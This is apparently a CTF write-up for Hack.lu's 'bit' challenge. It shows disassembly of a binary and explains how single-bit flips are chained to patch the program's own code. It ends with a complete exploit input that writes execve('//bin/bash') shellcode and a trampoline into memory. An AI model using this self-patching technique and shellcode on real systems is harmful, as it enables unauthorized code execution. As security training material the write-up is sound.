This year I had a little time to solve few challenges of the Hack.lu CTF. I am going to explain in this article how I solved the bit challenge.
First look
In the main function we see that the program does a scanf with the fmt parameter
as %lx:%u
so it expects a long in hexadecimal format and an unsigned int. So
the input expected by scanf will be like 0xdeadbeef:42.
The two values are stored respectively at adresses 0x601018
and 0x601020
0x0040066d mov edx, 0x601020 ; address
0x00400672 mov esi, 0x601018 ; uint
0x00400677 mov edi, str._lx:_u ; 0x4007d4 ; "%lx:%u"
0x0040067c mov eax, 0
0x00400681 call sym.imp.__isoc99_scanf
We see that those two values are used to do several things. First there is a check on the uint if it is greater than 7 the programs ends.
0x00400695 mov eax, dword [0x00601020] ; uint
0x0040069b cmp eax, 7 ; 7
Then we see that the address is used as a parameter to mprotect with RWX rights
0x004006a7 mov rax, qword [0x00601018] ; address
0x004006ae and rax, 0xffffffffffff1000
0x004006b4 mov edx, 7 ; prot = RWX
0x004006b9 mov esi, 0x1000 ; size = 0x1000
0x004006be mov rdi, rax ; address & 0xffffffffffff1000
0x004006c1 call sym.imp.mprotect
Finally, the last important point, we see that the programs take the byte located
at the address, XOR it with 0x1 << uint
and replace it with the XORed value.
0x004006c6 mov rax, qword [0x00601018] ; rax = address
0x004006cd mov rsi, rax
0x004006d0 mov rax, qword [0x00601018] ; rax = address
0x004006d7 mov rdx, qword [0x00601018] ; rdx = address
0x004006de movzx edx, byte [rdx] ; we take the byte at address and put it in edx
0x004006e1 mov ecx, dword [0x00601020] ; ecx = uint
0x004006e7 mov edi, 1
0x004006ec shl edi, cl ; edi = 1 << uint
0x004006ee mov ecx, edi ; ecx = 1 << uint
0x004006f0 xor edx, ecx ; edx = byte[address] XOR (1 << uint)
0x004006f2 mov byte [rax], dl ; byte[address] = dl
After this, the permissions previously granted by mprotect are restored to RW and the program exits.
So, it means, we can write a byte somewhere in memory with some restrictions due
to the check on uint and the XOR with 0x1 << uint
.
Finding the hint
In order to find the proper place to replace the byte I used a simple bruteforce iterating over the memory space. For each address I tested values from 0 to 7 for the uint. This exercise is left to the reader.
After a couple of seconds we realize that the bruteforce hangs for input 0x40072a:4.
After analysis in a gdb session we realize that we overwrote the je 0x400731
,
that is why the program loops. It actually hangs because it expects a new input.
So we can now write multiple bytes in memory but still with some conditions.
Removing the restrictions
Since we can write unlimited bytes in the .text section of the running binary we can patch the code running and bypass the restrictions. The final objective is to write any byte anywhere in memory so that we can write a shellcode and jump on it. We are going to proceed in steps:
- Removing the restriction on the value of the uint
- Removing the boring XOR with
0x1 << uint
Hereafter is the input to provide in order to increase the value allowed for uint. We can now have a uint value up to 0xf3.
// cmp eax, 0x83
0x40069d:7
// cmp eax, 0xc3
0x40069d:6
// cmp eax, 0xe3
0x40069d:5
// cmp eax, 0xf3
0x40069d:4
Now lets make the program store directly uint at address to make our life easier. Before doing that we have to first change the value shifted with uint so that we can patch the code more easily.
// step needed for next move
// mov edi, 0x1 -> mov edi, 0x3
0x4006e8:1
// we don't store the value of the shift in ecx
// mov ecx, edi -> mov ecx, ecx
0x4006ef:4
// we write directly cl (uint) into memory
// mov byte [rax], dl -> mov byte [rax], cl
0x4006f3:24
At the end of these two steps, we can write any byte up to 0xf3 anywhere in memory. Before going on, let’s just make the last mprotect inefficient so that we can then execute the shellcode.
// mov edx, 5 -> mov edx, 7 we keep the EXEC flag on the section
0x00400707:7
Exploit
Now we can write almost whatever we want everywhere, we just have to find a place to write our shellcode and jump on it.
After few attempts, I have noticed that writing the shellcode in section section..eh_frame works because it does not make the program crashing. There are probably other places to write it but since it works like this, why searching? :)
Writting the shellcode
// Shellcode execve("//bin/bash")
// \xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68
// \x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05
0x400810:247
0x400811:230
0x400812:82
0x400813:72
0x400814:187
0x400815:47
0x400816:98
0x400817:105
0x400818:110
0x400819:47
0x40081a:47
0x40081b:115
0x40081c:104
0x40081d:83
0x40081e:72
0x40081f:141
0x400820:60
0x400821:36
0x400822:176
0x400823:59
0x400824:15
0x400825:5
Now we have to find a way to jump on it. My idea is simple, write the trampoline
just after the ret
instruction of the main
function and replace the ret
by
a nop
when it is done.
// Trampoline to shellcode previously written @ 0x400810
// 0x400733 is just after the ret of the main function
// mov rax, 0x400810
// push rax
// ret
// \x48\xc7\xc0\x10\x08\x40\x00\x50\xc3
0x400733:72
0x400734:199
0x400735:192
0x400736:16
0x400737:8
0x400738:64
0x400739:0
0x40073a:80
0x40073b:195
And now we just have to replace the ret
instruction of the main
function and
the code will reach our trampoline.
// Overwrite ret with nop
0x00400732:90
We are done, we should get a shell … ;)
Putting all together
Providing the following input to the program should pop you a shell and give you an access to the flag.
0x40072a:4
0x40069d:7
0x40069d:6
0x40069d:5
0x40069d:4
0x4006e8:1
0x4006ef:4
0x4006f3:24
0x00400707:7
0x400810:247
0x400811:230
0x400812:82
0x400813:72
0x400814:187
0x400815:47
0x400816:98
0x400817:105
0x400818:110
0x400819:47
0x40081a:47
0x40081b:115
0x40081c:104
0x40081d:83
0x40081e:72
0x40081f:141
0x400820:60
0x400821:36
0x400822:176
0x400823:59
0x400824:15
0x400825:5
0x400733:72
0x400734:199
0x400735:192
0x400736:16
0x400737:8
0x400738:64
0x400739:0
0x40073a:80
0x40073b:195
0x00400732:90
If you want to understand every single input provided to the program you can attach a debugger on it and check the code of the binary after each input. According to the number of points attributed to this challenge I have the feeling that my solution is maybe too complex, but it works!
I hope you enjoyed.